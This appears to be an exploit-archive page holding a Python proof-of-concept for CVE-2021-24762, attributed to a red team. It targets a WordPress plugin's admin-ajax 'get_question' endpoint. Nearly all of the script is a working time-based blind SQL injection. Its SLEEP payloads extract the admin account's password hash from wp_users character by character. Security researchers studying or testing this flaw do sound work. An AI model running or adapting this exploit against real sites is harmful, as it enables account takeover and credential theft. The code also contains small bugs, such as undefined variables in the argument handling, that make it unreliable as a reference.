4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve-2021-24762.py PY
# ----------------------------------------------------------------------------
# GNU GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
#
# Copyright (C) 2025 Matheus Camargo - c4cnm - Red Team CAIS/RNP
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <https://www.gnu.org/licenses/>.
# ----------------------------------------------------------------------------

from typing import Optional, Dict, Any
import argparse
import sys
import logging
from urllib.parse import urlparse
import string
import requests
import time

BANNER = r"""
  ____     _      ___   ____
 / ___|   / \    |_ _| / ___|
| |      / _ \    | |  \___ \
| |___  / ___ \   | |   __ ) |
 \____|/_/   \_\ |___| |____/

   CAIS - Inteligência em Cibersegurança
   Exploit for: CVE-2021-24762
"""
DEFAULT_URL = "http://192.168.10.10"
DEFAULT_PATH = "/wp-admin/admin-ajax.php"
DEFAULT_DELAY = 30
DEFAULT_CHARSET = string.ascii_letters + string.digits + "./$_-@"
DEFAULT_MAX_LEN = 20

def print_banner():
    try:
        print(BANNER)
    except Exception:
        print("CAIS - Inteligencia em Ciberseguranca\n\r Exploit for: CVE-2021-24762")


def parse_args(argv: Optional[list] = None) -> argparse.Namespace:
    p = argparse.ArgumentParser(
        description="Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it"
    )
    p.add_argument("-u", "--url", help=f"Base URL (default: {DEFAULT_URL})")
    p.add_argument("-p", "--path", help=f"path (default: {DEFAULT_PATH})")
    p.add_argument("-d", "--delay", type=int, help=f"delay in seconds (default: {DEFAULT_DELAY})")
    p.add_argument("-t", "--timeout", type=int, help="timeout in seconds (default: delay + 15)")
    p.add_argument("-c", "--charset", help="charset to be used (default: alnum + ./$_-@)")
    p.add_argument("-m", "--max-len", type=int, help=f"maximum length (default: {DEFAULT_MAX_LEN})")
    p.add_argument("-v", "--verbose", action="store_true", help="activates log debugging")
    return p.parse_args(argv)

def _validate_and_normalize_url(url: str) -> str:
    """Basic validation: requires (http/https) and host. Removes slash at end."""
    parsed = urlparse(url)
    if not parsed.scheme or not parsed.netloc:
        raise ValueError(f"Invalid URL: {url!r} (requires (http/https) and host, example: http://example.com)")
    return url.rstrip("/")

def _normalize_path(path: str) -> str:
    """Removes slash at beggining."""
    return path.lstrip("/")

def build_params(args: argparse.Namespace) -> Dict[str, Any]:
    """
    Returns a dict with treated/validated parameters.

    Defaults:
      - url: http://192.168.10.10
      - path: /wp-admin/admin-ajax.php
      - delay: 30
      - timeout: delay + 15
      - charset: ascii_letters + digits + "./$_-@"
      - max_len: 20 (opcional)

    Throws ValueError if there is an invalid URL or issues in the parameters.
    """
    # Applying defaults
    url = args.url or DEFAULT_URL
    path = args.path or DEFAULT_PATH
    delay = DEFAULT_DELAY if args.delay is None else int(delay)
    charset = args.charset or DEFAULT_CHARSET
    max_len = DEFAULT_MAX_LEN if args.max_len is None else int(max_len)

    # Normalizing / validation
    url = _validate_and_normalize_url(url)
    path = _normalize_path(path)

    # Timeout default
    timeout = args.timeout if args.timeout is not None else delay + 15
    timeout = int(timeout)

    if delay < 0 or timeout < 0:
        raise ValueError("delay and timeout should not be less than 1")

    try:
        if timeout < delay:
            # allowed, but not recommended
            raise ValueError("timeout should be greater or greather than delay")
    except ValueError as e:
        print(f"Erro: {e}")

    full_target = f"{url}/{path}"

    return {
        "url": url,
        "path": path,
        "full_target": full_target,
        "delay": delay,
        "timeout": timeout,
        "charset": charset,
        "max_len": max_len,
    }

def exploit(url: str, delay: int, timeout: int, charset: str):
    timeout = delay + 15
    result = ""



    for position in range(1, 21):
        found = False
        print(f"\n[?] Testing position {position}")
        for char in charset:
            ascii_code = ord(char)
            # Following select matches the admin (0x61646d696e) password hash
            payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"

            params = {
                "action": "get_question",
                "question_id": payload
            }

            start = time.time()
            try:
                response = requests.get(url, params=params, timeout=timeout)
                elapsed = time.time() - start
            except requests.exceptions.ReadTimeout:
                elapsed = timeout

            print(f"    [-] Trying '{char}' (ord={ascii_code}) => {elapsed:.2f}s")

            if elapsed >= delay - 0.5:
                result += char
                print(f"[+] Found so far: {result}")
                found = True
                break

        if not found:
            print("[!] No match found at this position. Stopping.")
            break

def setup_logging(verbose: bool):
    level = logging.DEBUG if verbose else logging.INFO
    logging.basicConfig(stream=sys.stdout, level=level, format="%(asctime)s [%(levelname)s] %(message)s")


def main(argv: Optional[list] = None):
    print_banner()

    args = parse_args(argv)
    setup_logging(args.verbose)

    try:
        params = build_params(args)
    except Exception as e:
        logging.error("Failed to build parameters: %s", e)
        sys.exit(2)

    logging.debug("params: %s", params)

    print("Parâmetros padronizados:")
    for k, v in params.items():
        print(f"  {k}: {v}")
    exploit(params["full_target"],params["delay"],params["timeout"],params["charset"])



if __name__ == "__main__":
    main()